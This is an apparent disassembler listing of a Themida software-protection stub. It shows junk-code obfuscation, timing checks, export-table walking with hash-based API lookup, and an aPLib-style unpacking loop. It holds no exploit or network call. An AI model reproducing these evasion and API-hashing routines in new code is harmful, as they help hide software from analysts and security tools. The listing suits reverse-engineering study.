jnz loc_54EE6F
call near ptr loc_54EE50+2
xchg edx, [ecx-78036581h]
stosb
inc byte ptr [edx]
add bh, 0F7h
loc_54EE50: ; CODE XREF: sub_54EDD8+67p
add bh, [edi-46h]
sub_54EDD8 endp ; sp-analysis failed
sal al, 1
cmc
push ebp
pop edx
jmp loc_54EE82
; ---------------------------------------------------------------------------
db 59h, 9Fh, 6
dd 97BD349Dh, 0E29511FFh, 81CC864Eh
db 18h, 94h, 0D5h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54EDD8
loc_54EE6F: ; CODE XREF: sub_54EDD8+61j
mov bl, 0E1h
jmp loc_54EDBF
; END OF FUNCTION CHUNK FOR sub_54EDD8
; ---------------------------------------------------------------------------
dw 1A13h
dd 71046CF9h, 0C7D70689h
db 64h, 89h
; ---------------------------------------------------------------------------
loc_54EE82: ; CODE XREF: Themida_:0054EE58j
jmp short loc_54EE88
; ---------------------------------------------------------------------------
dd 215h
; ---------------------------------------------------------------------------
loc_54EE88: ; CODE XREF: Themida_:loc_54EE82j
jmp loc_54F4D6
; ---------------------------------------------------------------------------
jmp loc_54EE9D
; ---------------------------------------------------------------------------
ffreep st(2)
or al, 48h
retf 0B9ECh
; ---------------------------------------------------------------------------
db 65h, 28h, 3Eh
; ---------------------------------------------------------------------------
dec edx
loc_54EE9D: ; CODE XREF: Themida_:0054EE8Dj
; DATA XREF: Themida_:0054CD8Co
pusha
jle loc_54EEAA
or [ebp+6101D91h], edx
loc_54EEAA: ; CODE XREF: Themida_:0054EE9Ej
mov eax, 0
sub [ebp+6101BE1h], esi
mov edx, [esp+28h]
pusha
mov edx, ecx
mov [ebp+6101FADh], ebx
popa
mov [ebp+6101475h], eax
jno loc_54EED0
cld
loc_54EED0: ; CODE XREF: Themida_:0054EEC9j
mov esi, 3Ch
jge loc_54EEE1
xor [ebp+6100B01h], edi
loc_54EEE1: ; CODE XREF: Themida_:0054EED5j
add esi, [esp+24h]
sub [ebp+61015FDh], ebx
lodsw
add [ebp+610221Dh], eax
add eax, [esp+24h]
cld
push eax
push eax
push edx
ja loc_54EF03
pusha
popa
loc_54EF03: ; CODE XREF: Themida_:0054EEFBj
rdtsc
pusha
mov eax, 7A19D9Ch
push ebx
pop ecx
popa
pop edx
pop eax
mov [esp], eax
jmp loc_54EF23
; ---------------------------------------------------------------------------
dd 0CEE51CC6h, 0E2F02B76h
db 0DBh, 60h, 0AAh
; ---------------------------------------------------------------------------
loc_54EF23: ; CODE XREF: Themida_:0054EF13j
jmp loc_54EF2D
; ---------------------------------------------------------------------------
dd 8FFB44FDh
; ---------------------------------------------------------------------------
scasb
loc_54EF2D: ; CODE XREF: Themida_:loc_54EF23j
mov eax, [eax+78h]
sub [ebp+6101289h], edi
add eax, [esp+28h]
mov [ebp+6103055h], ebx
mov eax, [eax+18h]
jp loc_54EF54
pusha
movsx edi, si
sub eax, 3E012468h
popa
loc_54EF54: ; CODE XREF: Themida_:0054EF43j
inc eax
cld
mov [ebp+6103A19h], eax
pusha
mov dx, 3050h
mov si, ax
popa
pop eax
jz loc_54EF72
mov [ebp+6102369h], eax
loc_54EF72: ; CODE XREF: Themida_:0054EF66j
mov esi, [eax+78h]
mov [ebp+6101B35h], ebx
add esi, 1Ch
xor [ebp+6100E71h], edi
add esi, [esp+24h]
stc
lea edi, [ebp+61020B5h]
pusha
mov [ebp+6102395h], edi
popa
lodsd
clc
add eax, [esp+24h]
mov [ebp+6102375h], edi
stosd
cld
lea edi, [ebp+6102F59h]
jmp loc_54EFC4
; ---------------------------------------------------------------------------
dd 0DAD63271h, 9D360034h, 1572D9E4h, 5804B534h, 334AA798h
; ---------------------------------------------------------------------------
loc_54EFC4: ; CODE XREF: Themida_:0054EFABj
lodsd
jmp loc_54EFCF
; ---------------------------------------------------------------------------
dw 0F458h
db 70h, 83h, 0C8h
; ---------------------------------------------------------------------------
loc_54EFCF: ; CODE XREF: Themida_:0054EFC5j
add eax, [esp+24h]
sub [ebp+6100C49h], eax
or [ebp+6101BCDh], ebx
nop
jo loc_54EFFB
push eax
push edx
jmp loc_54EFF5
; ---------------------------------------------------------------------------
db 0A5h, 2 dup(63h)
dd 200DBB01h
db 85h
; ---------------------------------------------------------------------------
loc_54EFF5: ; CODE XREF: Themida_:0054EFE8j
rdtsc
pusha
popa
pop edx
pop eax
loc_54EFFB: ; CODE XREF: Themida_:0054EFE0j
push eax
jp near ptr loc_54F015+2
pusha
call near ptr loc_54F00D+3
sbb eax, 0ABFD2AEh
loc_54F00D: ; CODE XREF: Themida_:0054F003p
add esi, [ebp-6C47A407h]
adc al, 2Ah
loc_54F015: ; CODE XREF: Themida_:0054EFFCj
push 0ABF59061h
mov [ebp+610166Dh], edi
pusha
mov ax, 4891h
jz loc_54F031
jno $+6
loc_54F031: ; CODE XREF: Themida_:0054F025j
popa
lea edi, [ebp+6100601h]
jmp loc_54F048
; ---------------------------------------------------------------------------
db 0FAh, 58h, 0BEh
dd 21804C49h, 0A94A45EEh
; ---------------------------------------------------------------------------
loc_54F048: ; CODE XREF: Themida_:0054F038j
stc
lodsd
clc
add eax, [esp+28h]
cld
jmp loc_54F05D
; ---------------------------------------------------------------------------
db 47h, 92h, 0B7h
dd 0F07AB77Eh
db 1Bh
; ---------------------------------------------------------------------------
loc_54F05D: ; CODE XREF: Themida_:0054F050j
stosd
sub [ebp+6101F69h], edx
pop esi
xor [ebp+61006FDh], edi
loc_54F06B: ; CODE XREF: Themida_:0054F0F7j
dec dword ptr [ebp+6103A19h]
cmp dword ptr [ebp+6103A19h], 0
jnz short loc_54F08A
mov dword ptr [esp+1Ch], 0
lea esi, [ebp+6103E4Ah]
jmp esi
; ---------------------------------------------------------------------------
loc_54F08A: ; CODE XREF: Themida_:0054F078j
push esi
lodsd
add eax, [esp+28h]
xchg eax, edi
mov ebx, edi
mov al, [ebp+61023E5h]
test al, al
jz short loc_54F0A1
cmp al, [edi]
jnz short loc_54F0ED
loc_54F0A1: ; CODE XREF: Themida_:0054F09Bj
push edi
xor al, al
loc_54F0A4: ; CODE XREF: Themida_:0054F0A5j
scasb
jnz short loc_54F0A4
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
loc_54F0B1: ; CODE XREF: Themida_:0054F0DAj
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_54F0C0: ; CODE XREF: Themida_:0054F0D3j
shr bx, 1
rcr ax, 1
jnb short loc_54F0D1
xor ax, 5041h
xor bx, 5449h
loc_54F0D1: ; CODE XREF: Themida_:0054F0C6j
dec dh
jnz short loc_54F0C0
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_54F0B1
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edx
cmp edx, eax
jz short loc_54F0FC
loc_54F0ED: ; CODE XREF: Themida_:0054F09Fj
pop esi
add esi, 4
inc dword ptr [ebp+6101475h]
jmp loc_54F06B
; ---------------------------------------------------------------------------
loc_54F0FC: ; CODE XREF: Themida_:0054F0EBj
pop esi
jmp loc_54F10C
; ---------------------------------------------------------------------------
fistp dword ptr [ebp+7CD353B7h]
pop edi
stosb
db 26h
dec esi
loc_54F10C: ; CODE XREF: Themida_:0054F0FDj
mov [ebp+61008C1h], edi
mov eax, [ebp+6101475h]
or [ebp+6102F35h], ecx
sub [ebp+6101255h], ebx
shl eax, 1
mov [ebp+6101295h], esi
add eax, [ebp+6100601h]
sub [ebp+6101295h], ebx
sub esi, esi
pusha
add [ebp+61005F9h], edx
cmc
popa
xchg eax, esi
stc
lodsw
xor [ebp+6102F61h], ecx
jg loc_54F163
jmp loc_54F163
; ---------------------------------------------------------------------------
dd 9AEF649Dh, 0F334AB4Ch
; ---------------------------------------------------------------------------
clc
pop ds
sahf
loc_54F163: ; CODE XREF: Themida_:0054F14Dj
; Themida_:0054F153j
shl eax, 2
clc
add eax, [ebp+61020B5h]
jmp loc_54F179
; ---------------------------------------------------------------------------
dw 0ED8Eh
dd 0ABD7DA8Bh
db 11h
; ---------------------------------------------------------------------------
loc_54F179: ; CODE XREF: Themida_:0054F16Dj
jz loc_54F18A
pusha
mov edx, 2F585F37h
mov bx, 63A5h
popa
loc_54F18A: ; CODE XREF: Themida_:loc_54F179j
xchg eax, esi
sub [ebp+6101931h], edi
lodsd
sub [ebp+6100AFDh], edx
mov ecx, [esp+24h]
jmp loc_54F1AC
; ---------------------------------------------------------------------------
db 2Ah, 0E8h, 47h
dd 0F6649EE1h, 0CDE1F487h
; ---------------------------------------------------------------------------
loc_54F1AC: ; CODE XREF: Themida_:0054F19Cj
jp loc_54F1BD
pusha
movzx edx, di
sub [ebp+6100239h], edx
popa
loc_54F1BD: ; CODE XREF: Themida_:loc_54F1ACj
add eax, [esp+24h]
mov [ebp+6102E89h], ebx
mov [esp+1Ch], eax
js loc_54F1DF
pusha
mov [ebp+61006FDh], edx
mov ebx, [ebp+6100165h]
popa
loc_54F1DF: ; CODE XREF: Themida_:0054F1CBj
xchg eax, esi
sub [ebp+6103155h], edx
lodsb
mov [ebp+61021E5h], edi
xor cl, cl
jg loc_54F20B
jmp loc_54F20B
; ---------------------------------------------------------------------------
dw 9863h
dd 0DE89B9C8h, 0AD1DE0BBh, 462F880h
db 1Fh, 0CAh, 29h
; ---------------------------------------------------------------------------
loc_54F20B: ; CODE XREF: Themida_:0054F1EFj
; Themida_:0054F1F5j
mov [ebp+6100119h], eax
inc cl
cmc
loc_54F214: ; CODE XREF: Themida_:0054F262j
rcl al, 1
jnb loc_54F2B5
jmp loc_54F22B
; ---------------------------------------------------------------------------
db 51h, 34h, 11h
dd 0A21E157Ch
db 0A2h, 0FEh, 0CAh
; ---------------------------------------------------------------------------
loc_54F22B: ; CODE XREF: Themida_:0054F21Cj
rcl al, 1
jnb loc_54F2B5
jmp loc_54F23D
; ---------------------------------------------------------------------------
dd 0A9C107C7h
db 0BAh
; ---------------------------------------------------------------------------
loc_54F23D: ; CODE XREF: Themida_:0054F233j
rcl al, 1
jb loc_54F2B5
jnb loc_54F251
sub [ebp+6100BCDh], esi
loc_54F251: ; CODE XREF: Themida_:0054F245j
add [ebp+6100E95h], ebx
rcl al, 1
jb loc_54F2B5
clc
dec cl
jns loc_54F214
jns loc_54F274
sub [ebp+6102A21h], edi
loc_54F274: ; CODE XREF: Themida_:0054F268j
add esp, 20h
cld
mov dword ptr [esp-4], 0
mov [ebp+6102D39h], ecx
mov eax, 1
mov [ebp+6100A99h], ebx
lea ecx, [ebp+61073A3h]
jmp loc_54F2A6
; ---------------------------------------------------------------------------
dd 7CB3FFE9h, 0DF1734BFh
db 6Dh, 61h
; ---------------------------------------------------------------------------
loc_54F2A6: ; CODE XREF: Themida_:0054F297j
mov [ebp+6100D55h], eax
jmp ecx
; ---------------------------------------------------------------------------
add [ebp+61001C1h], esi
clc
loc_54F2B5: ; CODE XREF: Themida_:0054F216j
; Themida_:0054F22Dj ...
mov byte ptr [ebp+61023E5h], 0
mov [ebp+61016ADh], esi
popa
jmp locret_54F2CF
; ---------------------------------------------------------------------------
stosd
and bl, [esi-38h]
pmulhuw mm0, qword ptr [ebx]
locret_54F2CF: ; CODE XREF: Themida_:0054F2C3j
retn 8
; ---------------------------------------------------------------------------
pusha
add [ebp+610097Dh], eax
mov di, 0F46Eh
popa
push eax
pusha
mov cx, 0FA6Dh
push eax
push edx
jmp loc_54F2FD
; ---------------------------------------------------------------------------
db 0D7h
dd 0B5B131F4h, 39D1DE7Fh, 30AD4D67h, 5155DEDBh
db 0B4h
; ---------------------------------------------------------------------------
loc_54F2FD: ; CODE XREF: Themida_:0054F2E6j
rdtsc
pusha
popa
pop edx
pop eax
popa
mov [esp], esi
pusha
add eax, [ebp+610143Dh]
jnb loc_54F31A
mov [ebp+6100F25h], edi
loc_54F31A: ; CODE XREF: Themida_:0054F30Ej
popa
mov [ebp+610404Ah], esi
sub [ebp+6102FDDh], edi
mov [ebp+610405Ah], ecx
mov [ebp+610092Dh], edi
lea esi, [ebp+6103F1Ah]
jmp loc_54F344
; ---------------------------------------------------------------------------
dw 161Eh
dd 0EFBE86A0h
; ---------------------------------------------------------------------------
loc_54F344: ; CODE XREF: Themida_:0054F339j
lea eax, dword_5B8EA1[ebp]
pusha
sub [ebp+6100099h], esi
popa
call eax
pusha
mov edi, [ebp+6100D3Dh]
mov bx, si
popa
sub [ebp+6100BD5h], ebx
pop esi
jmp loc_54F37B
; ---------------------------------------------------------------------------
db 24h
dd 9A350C25h, 72215CBAh, 6E588A4Dh
db 0C8h, 3Fh, 52h
; ---------------------------------------------------------------------------
loc_54F37B: ; CODE XREF: Themida_:0054F366j
clc
retn
; ---------------------------------------------------------------------------
xor [ebp+6102119h], ecx
pusha
popa
mov esi, [ebp+610404Ah]
jnz loc_54F39C
jmp loc_54F39C
; ---------------------------------------------------------------------------
dw 63DEh
dd 448C5452h
; ---------------------------------------------------------------------------
loc_54F39C: ; CODE XREF: Themida_:0054F38Bj
; Themida_:0054F391j
mov ecx, [ebp+610405Ah]
jmp loc_54F3B4
; ---------------------------------------------------------------------------
sub ch, 0DDh
retn 6492h
; ---------------------------------------------------------------------------
stosb
cmp eax, 0B06FB12Bh
pop edi
loc_54F3B4: ; CODE XREF: Themida_:0054F3A2j
sub eax, eax
pusha
stc
popa
mov ebx, ecx
stc
cmc
jmp loc_54F488
; ---------------------------------------------------------------------------
jmp loc_54F3D5
; ---------------------------------------------------------------------------
db 0ADh
dd 0E27565C4h, 157FD26Eh, 0A7CFDBDFh
; ---------------------------------------------------------------------------
wait
loc_54F3D5: ; CODE XREF: Themida_:0054F3C2j
; Themida_:0054F48Aj
xor ah, [esi]
jo loc_54F3EA
jmp loc_54F3EA
; ---------------------------------------------------------------------------
db 90h
db 0F4h
dd 46B6DA88h
db 5Dh, 1Ch
; ---------------------------------------------------------------------------
loc_54F3EA: ; CODE XREF: Themida_:0054F3D7j
; Themida_:0054F3DDj
mov dl, 2
pusha
ja loc_54F3F8
sbb dx, 5F56h
loc_54F3F8: ; CODE XREF: Themida_:0054F3EDj
popa
jmp loc_54F457
; ---------------------------------------------------------------------------
mov [ebp+6100CA1h], ebx
loc_54F404: ; CODE XREF: Themida_:0054F459j
xor al, dl
xor [ebp+6101C91h], ebx
add eax, 8A751D7Ah
clc
mov cl, ah
jge loc_54F420
mov [ebp+6100BCDh], eax
loc_54F420: ; CODE XREF: Themida_:0054F414j
ror eax, cl
mov [ebp+6101C1Dh], ebx
xor eax, 98D10842h
jl loc_54F440
pusha
sbb cx, 0D272h
mov [ebp+61015A1h], edi
popa
loc_54F440: ; CODE XREF: Themida_:0054F42Dj
jmp loc_54F454
; ---------------------------------------------------------------------------
db 0AAh, 13h, 0BFh
dd 19733905h, 24EA61Ch, 908DE8B0h
; ---------------------------------------------------------------------------
loc_54F454: ; CODE XREF: Themida_:loc_54F440j
dec dl
cld
loc_54F457: ; CODE XREF: Themida_:0054F3F9j
or dl, dl
jnz loc_54F404
pusha
mov ah, 94h
mov dh, 0ABh
popa
dec ebx
jnp loc_54F474
pusha
sub [ebp+6100AF1h], ebx
popa
loc_54F474: ; CODE XREF: Themida_:0054F466j
inc esi
jmp loc_54F488
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
xchg eax, ecx
dec edx
std
imul byte ptr [esi]
xchg ch, [edx+edx*8+3EA09E05h]
loc_54F488: ; CODE XREF: Themida_:0054F3BDj
; Themida_:0054F475j
or ebx, ebx
jnz loc_54F3D5
jle locret_54F4AE
jb locret_54F4AE
jmp locret_54F4AE
; ---------------------------------------------------------------------------
inc edx
push ecx
mov ecx, [esi+45BC39A4h]
mov al, ds:8AA2361Fh
locret_54F4AE: ; CODE XREF: Themida_:0054F490j
; Themida_:0054F496j ...
iret
; ---------------------------------------------------------------------------
db 89h
dd 102A0195h, 1000006h, 101A759Dh, 89000006h, 1011F9BDh
dd 60000006h, 94E08166h, 6130h, 18E19529h
; ---------------------------------------------------------------------------
adc [esi], al
loc_54F4D6: ; CODE XREF: Themida_:loc_54EE88j
lea eax, [ebp+6103A32h]
pusha
sbb bx, 9EFFh
pusha
add si, 25C4h
popa
popa
mov [ebp+6101921h], eax
stc
lea eax, [ebp+6103E73h]
jno loc_54F503
mov [ebp+6100479h], ebx
loc_54F503: ; CODE XREF: Themida_:0054F4F7j
mov [ebp+61006D5h], eax
call sub_54F51E
insb
db 3Eh
cmps byte ptr ds:[esi], byte ptr es:[edi]
enter 3E7h, 0C0h ; CODE XREF: sub_54F51E+6Cj
fldenv byte ptr [esi+31F21421h]
inc edi
loopne near ptr loc_54F544+3
; =============== S U B R O U T I N E =======================================
sub_54F51E proc near ; CODE XREF: Themida_:0054F509p
push ecx
add cl, 30h
pop esi
pop edx
mov edi, ebx
add edx, 74B5h
mov edi, ecx
mov eax, 0
mov si, bx
loc_54F536: ; CODE XREF: Themida_:0054F5D9j
mov ebx, [edx+eax]
mov edi, 89F1AB2h
xor ebx, 307DD576h
loc_54F544: ; CODE XREF: Themida_:0054F51Cj
mov [ebp+6102E69h], ecx
xor ebx, 26F7B06Bh
xor ebx, 274C0399h
jmp loc_54F567
; ---------------------------------------------------------------------------
db 65h
dd 0DCAAFD16h, 5F9AC863h
db 0F8h, 0ABh, 0B0h
; ---------------------------------------------------------------------------
loc_54F567: ; CODE XREF: sub_54F51E+38j
mov [edx+eax], ebx
or [ebp+610311Dh], ebx
mov [ebp+6101281h], edx
sub eax, 63CE58E1h
movsx edi, cx
add eax, 63CE58DDh
call near ptr loc_54F593+2
jge short near ptr loc_54F511+3
int 49h ; Texas Instruments PC - VIDEO I/O???
xor esp, ecx
pop edx
xor ebx, [ebx]
loc_54F593: ; CODE XREF: sub_54F51E+67p
and eax, 0BD9D8959h
sub_54F51E endp ; sp-analysis failed
xor [eax], dl
push es
pop esi
cmp eax, 0FFFF8C1Ch
jnz loc_54F5D0
call near ptr loc_54F5B1+6
or ah, [ecx+39h]
push edi
loc_54F5B1: ; CODE XREF: Themida_:0054F5A8p
repne cmp byte ptr [edx+6602DB74h], 0BFh
int 0FFh ; AT/XT286/PS50+ - destroyed by return from protected mode
pop edi
jmp loc_54F5E3
; ---------------------------------------------------------------------------
db 1Fh, 60h, 8Eh
dd 27AD3AF3h, 87527C98h, 0EF54F3D0h
; ---------------------------------------------------------------------------
loc_54F5D0: ; CODE XREF: Themida_:0054F5A2j
pusha
mov ebx, 5DA2DEFh
mov dh, 39h
popa
jmp loc_54F536
; ---------------------------------------------------------------------------
dw 21E6h
; ---------------------------------------------------------------------------
aam 0A7h
push es
loc_54F5E3: ; CODE XREF: Themida_:0054F5BCj
jmp short loc_54F5F9
; ---------------------------------------------------------------------------
align 4
dd 3 dup(0)
dd 8500h
db 0
; ---------------------------------------------------------------------------
loc_54F5F9: ; CODE XREF: Themida_:loc_54F5E3j
lea eax, [ebp+6104245h]
mov [ebp+6100129h], eax
cmp dword ptr [ebp+6104186h], 0
jz loc_54F73D
mov byte ptr [ebp+61023E5h], 56h
call near ptr loc_54F621+1
cmp [ebp+1Fh], ebp
loc_54F621: ; CODE XREF: Themida_:0054F619p
aam 50h
mov eax, [esp+4]
mov eax, [eax]
mov [esp+4], eax
pop eax
push dword ptr [ebp+6101499h]
lea eax, [ebp+6103A32h]
call eax
mov [ebp+610417Ah], eax
mov byte ptr [ebp+61023E5h], 56h
push 9EA13B73h
xor dword ptr [esp], 2098321h
push dword ptr [ebp+6101499h]
lea eax, [ebp+6103A32h]
call eax
mov [ebp+610417Eh], eax
push 4
push 0F54F73A3h
add dword ptr [esp], 0AB09C5Dh
mov eax, [ebp+610418Ah]
add eax, 1F4h
shl eax, 2
nop
push eax
nop
push 0
call dword ptr [ebp+610417Eh]
mov [ebp+6104182h], eax
mov ebx, eax
mov eax, 0FFFFFFFFh
call dword ptr [ebp+6100129h]
mov eax, ebx
call dword ptr [ebp+6100129h]
jmp loc_54F73D
; ---------------------------------------------------------------------------
loc_54F6B0: ; DATA XREF: Themida_:0054B594o
cmp dword ptr [ebp+6104186h], 0
jnz loc_54F6BE
retn
; ---------------------------------------------------------------------------
loc_54F6BE: ; CODE XREF: Themida_:0054F6B7j
push edi
mov edi, [ebp+6104182h]
stosd
add dword ptr [ebp+6104182h], 4
pop edi
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+6104186h], 0
jnz loc_54F6DD
retn
; ---------------------------------------------------------------------------
loc_54F6DD: ; CODE XREF: Themida_:0054F6D6j
pusha
sub dword ptr [ebp+6104182h], 4
loc_54F6E5: ; CODE XREF: Themida_:loc_54F738j
mov ebx, [ebp+6104182h]
cmp dword ptr [ebx-4], 0FFFFFFFFh
jnz loc_54F712
push 424FD66Ah
xor dword ptr [esp], 424F566Ah
push 0
push dword ptr [ebx]
call dword ptr [ebp+610417Ah]
popa
retn
; ---------------------------------------------------------------------------
jmp loc_54F738
; ---------------------------------------------------------------------------
loc_54F712: ; CODE XREF: Themida_:0054F6EFj
call near ptr loc_54F717+4
loc_54F717: ; CODE XREF: Themida_:loc_54F712p
add [eax-74B00000h], al
inc esp
and al, 4
mov eax, [eax]
mov [esp+4], eax
pop eax
push 0
push dword ptr [ebx]
call dword ptr [ebp+610417Ah]
sub dword ptr [ebp+6104182h], 4
loc_54F738: ; CODE XREF: Themida_:0054F70Dj
jmp loc_54F6E5
; ---------------------------------------------------------------------------
loc_54F73D: ; CODE XREF: Themida_:0054F60Cj
; Themida_:0054F6ABj
dec eax
jmp loc_54F8F0
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
mov edi, [esp+28h]
cld
mov dl, 80h
loc_54F74F: ; CODE XREF: Themida_:loc_54F767j
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_54F75A: ; CODE XREF: Themida_:0054F7E5j
; Themida_:0054F84Dj ...
add dl, dl
jnz loc_54F767
mov dl, [esi]
inc esi
adc dl, dl
loc_54F767: ; CODE XREF: Themida_:0054F75Cj
jnb loc_54F74F
add dl, dl
jnz loc_54F77A
mov dl, [esi]
inc esi
adc dl, dl
loc_54F77A: ; CODE XREF: Themida_:0054F76Fj
jnb loc_54F7EA
xor eax, eax
add dl, dl
jnz loc_54F78F
mov dl, [esi]
inc esi
adc dl, dl
loc_54F78F: ; CODE XREF: Themida_:0054F784j
jnb loc_54F8BF
add dl, dl
jnz loc_54F7A2
mov dl, [esi]
inc esi
adc dl, dl
loc_54F7A2: ; CODE XREF: Themida_:0054F797j
adc eax, eax
add dl, dl
jnz loc_54F7B1
mov dl, [esi]
inc esi
adc dl, dl
loc_54F7B1: ; CODE XREF: Themida_:0054F7A6j
adc eax, eax
add dl, dl
jnz loc_54F7C0
mov dl, [esi]
inc esi
adc dl, dl
loc_54F7C0: ; CODE XREF: Themida_:0054F7B5j
adc eax, eax
add dl, dl
jnz loc_54F7CF
mov dl, [esi]
inc esi
adc dl, dl
loc_54F7CF: ; CODE XREF: Themida_:0054F7C4j
adc eax, eax
jz loc_54F7DD
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_54F7DD: ; CODE XREF: Themida_:0054F7D1j
mov [edi], al
inc edi
mov ebx, 2
jmp loc_54F75A
; ---------------------------------------------------------------------------
loc_54F7EA: ; CODE XREF: Themida_:loc_54F77Aj
mov eax, 1
loc_54F7EF: ; CODE XREF: Themida_:loc_54F80Bj
add dl, dl
jnz loc_54F7FC
mov dl, [esi]
inc esi
adc dl, dl
loc_54F7FC: ; CODE XREF: Themida_:0054F7F1j
adc eax, eax
add dl, dl
jnz loc_54F80B
mov dl, [esi]
inc esi
adc dl, dl
loc_54F80B: ; CODE XREF: Themida_:0054F800j
jb loc_54F7EF
sub eax, ebx
mov ebx, 1
jnz loc_54F852
mov ecx, 1
loc_54F823: ; CODE XREF: Themida_:loc_54F83Fj
add dl, dl
jnz loc_54F830
mov dl, [esi]
inc esi
adc dl, dl
loc_54F830: ; CODE XREF: Themida_:0054F825j
adc ecx, ecx
add dl, dl
jnz loc_54F83F
mov dl, [esi]
inc esi
adc dl, dl
loc_54F83F: ; CODE XREF: Themida_:0054F834j
jb loc_54F823
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_54F75A
; ---------------------------------------------------------------------------
loc_54F852: ; CODE XREF: Themida_:0054F818j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_54F860: ; CODE XREF: Themida_:loc_54F87Cj
add dl, dl
jnz loc_54F86D
mov dl, [esi]
inc esi
adc dl, dl
loc_54F86D: ; CODE XREF: Themida_:0054F862j
adc ecx, ecx
add dl, dl
jnz loc_54F87C
mov dl, [esi]
inc esi
adc dl, dl
loc_54F87C: ; CODE XREF: Themida_:0054F871j
jb loc_54F860
cmp eax, 7D00h
jnb loc_54F8AF
cmp eax, 500h
jb loc_54F8A6
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_54F75A
; ---------------------------------------------------------------------------
loc_54F8A6: ; CODE XREF: Themida_:0054F892j
cmp eax, 7Fh
ja loc_54F8B2
loc_54F8AF: ; CODE XREF: Themida_:0054F887j
add ecx, 2
loc_54F8B2: ; CODE XREF: Themida_:0054F8A9j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_54F75A
; ---------------------------------------------------------------------------
loc_54F8BF: ; CODE XREF: Themida_:loc_54F78Fj
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz loc_54F8E4
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_54F75A
; ---------------------------------------------------------------------------
loc_54F8E4: ; CODE XREF: Themida_:0054F8C7j
sub edi, [esp+28h]
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_54F8F0: ; CODE XREF: Themida_:0054F73Ej
mov edx, 929h
jmp loc_5502CD
; ---------------------------------------------------------------------------
dw 7841h
dd 0D102AABCh, 3ED10BACh, 6463365Fh, 754261F1h, 17C2AAEDh
dd 63606957h, 0FE5533A3h, 5E1C8DA6h, 9309A7BCh, 29C303A0h
dd 7672650Dh, 3E4D24F6h, 1DB2C982h, 627D7D5Dh, 0FE5561AFh
dd 5D138BA4h, 9313A7BCh, 36D91EBFh, 686E7B0Dh, 305933EDh
dd 5186AAE9h, 737D794Ah, 0B05433E2h, 4B078BB1h, 0DC15BEBCh
dd 36D71EBEh, 3, 62h dup(0)
dd 78410000h, 0DD08A3BCh, 29D918B0h, 6A79660Dh, 7D4133E5h
dd 283ACA8h, 626B7E18h, 0FF4661EDh, 19168ABDh, 0DD09BBEEh
dd 7BD102B0h, 7C2B7844h, 305234EDh, 591BDFBh, 0D20715Dh
dd 0F54C118Eh, 151797A9h, 0DF09BBBCh, 7BD20DB6h, 632B6244h
dd 304D2EF0h, 1E8FA1E5h, 662E654Ah, 0E20025EDh, 580697ADh
dd 0CA47BAEEh, 7BC419B6h, 6264645Dh, 3E4D20F0h, 48h dup(0)
dd 78410000h, 0D215ADBCh, 29D307BAh, 712B650Ah, 304C2EEDh
dd 5191A5E0h, 696B795Ah, 0E54F27A3h, 4B5280A6h, 0DA09A0E9h
dd 32960BB7h, 6A723643h, 630033F7h, 1496B7F1h, 0A043255h
dd 0F1452DD3h, 195E81BBh, 0DC0BA0E9h, 329608B8h, 776D3659h
dd 7D002CEDh, 38DA9EDh, 696F3C41h, 0F55261E7h, 4B1390BBh
dd 0DC1EEEE8h, 2B961EACh, 776C795Fh, 0E2CE3h, 61h dup(0)
dd 7F410000h, 9302A2F5h, 29C403BAh, 607F6658h, 300E60E6h
dd 28BACDCh, 687C6C18h, 0FD4133E4h, 4A138CE8h, 0D602ACBCh
dd 3ADB4CB7h, 707B7F43h, 755420EEh, 1F83E4ECh, 66633C5Ch
dd 9A4523FAh, 1E068DC5h, 0DD0EEEEFh, 2FD509BFh, 672B7248h
dd 304161FBh, 490ADDEh, 75613C4Bh, 0F15222A3h, 5D178FABh
dd 0DB33EEB2h, 3D961FB0h, 256E7A44h, 374E2EF5h, 1E95E4FCh
dd 662E774Ah, 0FF4D38EDh, 5C81BAh, 0E0h dup(0)
dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD db 'Exit Status = %d',0
align 4
dd 0
db 0
; ---------------------------------------------------------------------------
loc_5502CD: ; CODE XREF: Themida_:0054F8F5j
jmp loc_5531F1
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5502DD
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5502DD proc near ; CODE XREF: Themida_:005502D5p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5502DD endp
; ---------------------------------------------------------------------------
jno short near ptr loc_5502FD+1
xchg eax, edi
cld
push 0
push eax
call sub_5502FC
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5502FC proc near ; CODE XREF: Themida_:005502F4p
arg_4 = dword ptr 8
pop eax
loc_5502FD: ; CODE XREF: Themida_:005502EDj
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5502FC endp
; ---------------------------------------------------------------------------
lodsd
fld qword ptr [edx]
pop ebp
pusha
fdiv qword ptr [ecx-42F6D586h]
cmp eax, 8B061006h
popf
push ebp
adc al, 10h
push es
mov eax, eax
push 0
push ecx
call sub_55032E
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55032E proc near ; CODE XREF: Themida_:00550326p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
